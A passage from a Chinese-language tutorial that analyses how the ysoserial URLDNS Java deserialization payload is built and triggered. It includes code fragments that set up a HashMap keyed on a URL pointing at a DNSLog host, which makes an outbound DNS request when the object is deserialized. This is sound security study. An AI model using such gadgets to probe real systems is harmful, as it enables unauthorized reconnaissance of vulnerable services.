由于HashMap中重写了writeObject方法,因此在进行序列化操作时,执行的序列化方法是HashMap中的writeObject方法,具体如下:
先执行默认的序列化操作:
接着 遍历HashMap,对HashMap中的key,value进行序列化。
综上所述,梳理下ysoserial payload,URLDNS 序列化的整个过程:
-
首先 ysoserial 通过反射的方式,根据全限定类名
ysoserial.payloads.URLDNS
,获取对应的Class类对象,并通过Class类对象的newInstance()
方法,获取URLDNS对象。 -
接着执行URLDNS对象中的getObject方法。
-
在getObject方法中,创建了URLStreamHandler 对象
URLStreamHandler handler = new SilentURLStreamHandler();
,该对象会被URL对象引用。 -
创建HashMap对象
HashMap ht = new HashMap();
,URL对象URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);
。 -
将URL对象作为HashMap中的Key,DNSLOG的地址作为HashMap中的值
HashMap.put(u, "http://lyxhh.dnslog.cn");
-
通过反射的方式
Reflections.setFieldValue(u, "hashCode", -1);
,设置URL对象中的成员变量hashCode值为-1。 -
返回HashMap对象。
-
然后对HashMap对象进行序列化操作
Serializer.serialize(HashMap object, out);
整个序列化过程中,有几个问题: 1、为什么要创建URLStreamHandler 对象,URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。
反序列化分析
读取上述操作生成的 dnslog.ser
文件,执行反序列化,触发DNSLOG请求:
为什么HashMap的反序列化过程会发送DNSLOG请求呢?
在进行反序列化操作时,由于HashMap中重写了readObject方法,因此执行的反序列化方法是HashMap中的read